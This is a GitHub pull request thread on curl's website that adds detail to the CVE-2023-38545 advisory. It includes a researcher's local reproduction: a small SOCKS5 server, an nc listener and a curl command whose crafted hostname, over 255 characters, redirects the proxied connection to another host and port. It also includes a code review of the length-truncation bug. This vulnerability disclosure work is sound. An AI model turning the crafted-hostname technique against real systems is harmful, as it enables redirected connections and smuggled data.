-
Notifications
You must be signed in to change notification settings - Fork 89
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CVE-2023-38545.md: add additional info #308
Conversation
Thanks for opening the pull request! (And I apologize for not opening it myself; I didn't notice that the curl website is open-sourced.) I'm attaching the setup that I used to reproduce this behavior: SOCKS5 server: import socks5 from 'simple-socks'
socks5.createServer().listen(1080); Reproducion log: research@desktop:~/projects/curl$ node ../socks-proxy/server.js &
[1] 35041
research@desktop:~/projects/curl$ nc -nlvp 24929 &
[2] 35053
research@desktop:~/projects/curl$ Listening on 0.0.0.0 24929
research@desktop:~/projects/curl$ src/curl -L -x socks5h://localhost:1080 'http://localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com/test' -v
* Trying [::1]:1080...
* Connected to localhost (::1) port 1080
* SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=265]
* SOCKS5 connect to localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com:80 (remotely resolved)
Connection received on 127.0.0.1 50722
* SOCKS5 request granted.
* Connected to localhost (::1) port 1080
> GET /test HTTP/1.1
> Host: localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com
> User-Agent: curl/8.4.0-DEV
> Accept: */*
>
* Received HTTP/0.9 when not allowed
* Closing connection
curl: (1) Received HTTP/0.9 when not allowed
GET /test HTTP/1.1
Host: localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com
User-Agent: curl/8.4.0-DEV
Accept: */*
research@desktop:~/projects/curl$
[2]+ Done nc -nlvp 24929 |
RyotaK found a way to exploit the bug by crafting a hostname so that the SOCKS connection completes successfully but to a different hostname and port, and possibly arbitrary data is sent to that different host before the "expected" request is sent on that same connection. The impact is limited because control characters and null are not allowed in the hostname. Ref: https://hackerone.com/ryotak?type=user Closes curl#308
Sorry I did not realize I left this marked as WIP. I've changed the wording to better explain that the crafted hostname contains a hostname, port and arbitrary data. |
RyotaK found a way to exploit the bug by crafting a hostname so that the SOCKS connection completes successfully but to a different hostname and port, and possibly arbitrary data is sent to that different host before the "expected" request is sent on that same connection. The impact is limited because control characters and null are not allowed in the hostname. Ref: https://hackerone.com/ryotak?type=user Closes curl#308
[RyotaK](https://hackerone.com/ryotak?type=user) has | ||
[notified](https://github.com/curl/curl-www/pull/308) that even if the buffer | ||
size is large enough to prevent heap overflow an attacker can still use the | ||
integer overflow of hostname length in conjunction with a crafted hostname |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The reference to an integer overflow puzzles me. How is this an integer overflow?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Since the hostname_len
is a size_t
, usually an unsigned int, casting it to the char may cause the overflow, so I called it integer overflow in the original email.
But something like the incorrect conversion between numeric types
might fit more?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
else {
socksreq[len++] = 3;
socksreq[len++] = (char) hostname_len; /* one byte address length */
memcpy(&socksreq[len], sx->hostname, hostname_len); /* w/o NULL */
len += hostname_len;
}
type conversion causes the overflow. there may be an overflow from size_t
to char
, or from char
to unsigned char
. assume twos complement and char
is signed. it's usually a truncation though a compiler can technically do something else.
something like the
incorrect conversion between numeric types
might fit more?
i think integer overflow is fine and you had it right unless i'm misinterpreting the standard
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ah yes, you are right. I went back and checked the previous code as I had clearly blanked out on some of the specifics. It is indeed an integer overflow in there. Sorry for the noise.
(Seems plausible but I have yet to try it myself.)
RyotaK on HackerOne reports successful SOCKS handshake with hostname larger than 255 and without buffer overflow by using a crafted hostname to set the remaining data in the handshake. If the handshake completes successfully then I would think the remaining data in the hostname is sent as data to the destination host. This is limited impact because as I noted in the text whitespace cannot be sent and only high port numbers